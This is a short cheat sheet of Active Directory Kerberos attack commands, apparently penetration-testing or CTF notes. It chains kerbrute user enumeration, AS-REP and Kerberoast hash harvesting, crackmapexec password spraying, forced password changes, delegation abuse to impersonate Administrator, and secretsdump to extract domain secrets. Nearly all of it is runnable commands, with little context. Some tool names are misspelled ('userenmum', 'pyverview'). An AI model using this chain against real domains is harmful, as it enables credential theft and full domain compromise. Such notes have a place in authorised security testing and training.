# Kerberoast

## Usage

### List users

```sh
kerbrute userenum -d $DOMAIN --dc $TARGET_IP $USER_LIST
kerbrute userenmum --dc $TARGET_IP --domain $DOMAIN $USER_LIST --downgrade
```

### Get Users
* Impacket's `GetNPUsers.py` to get Hashes of userlist
```sh
GetNPUsers.py -no-pass <DomainName>/  -usersfile users.txt -format john -outputfile hashes
```

### Find SPNs
 
```sh
GetUserSPNs.py -request <DOMAIN>/<USER>:<PASSWORD> -dc-ip $TARGET_IP 
```
or
```sh
pyverview get-netuser -u <USER> -p <PASSWORD> -t <SUBDOMAIN> -d <DOMAIN>
```

### Further Intel

```sh
findDelegation.py -debug <DOMAIN>/<USER>:<PASSWORD> -dc-ip $TARGET_IP
```

### Check Found Users
* Use crackmapexec to check access to further user accounts with the password of the user found with `GetNPUsers.py`
```sh
crackmapexec smb $TARGET_IP -u users.txt -p pass.txt
```
    * Watch out for `STATUS_PASSWORD_MUST_CHANGE`
    * Change password with 
```sh
smbpasswd.py <user>@$TARGET_IP  -newpass password123
```

### Impersonate

```sh
getST.py -spn <USER>/<SUBDOMAIN> -impersonate Administrator '<DOMAIN>/<USER>:<PASSWORD>' -dc-ip $TARGET_IP
```
* Serviceticket is save as `Administrator.ccache`
* `export KRB5CCNAME=Administrator.ccache`
* After that dump secrets
```sh
secretsdump.py -k -no-pass <DOMAIN> 
```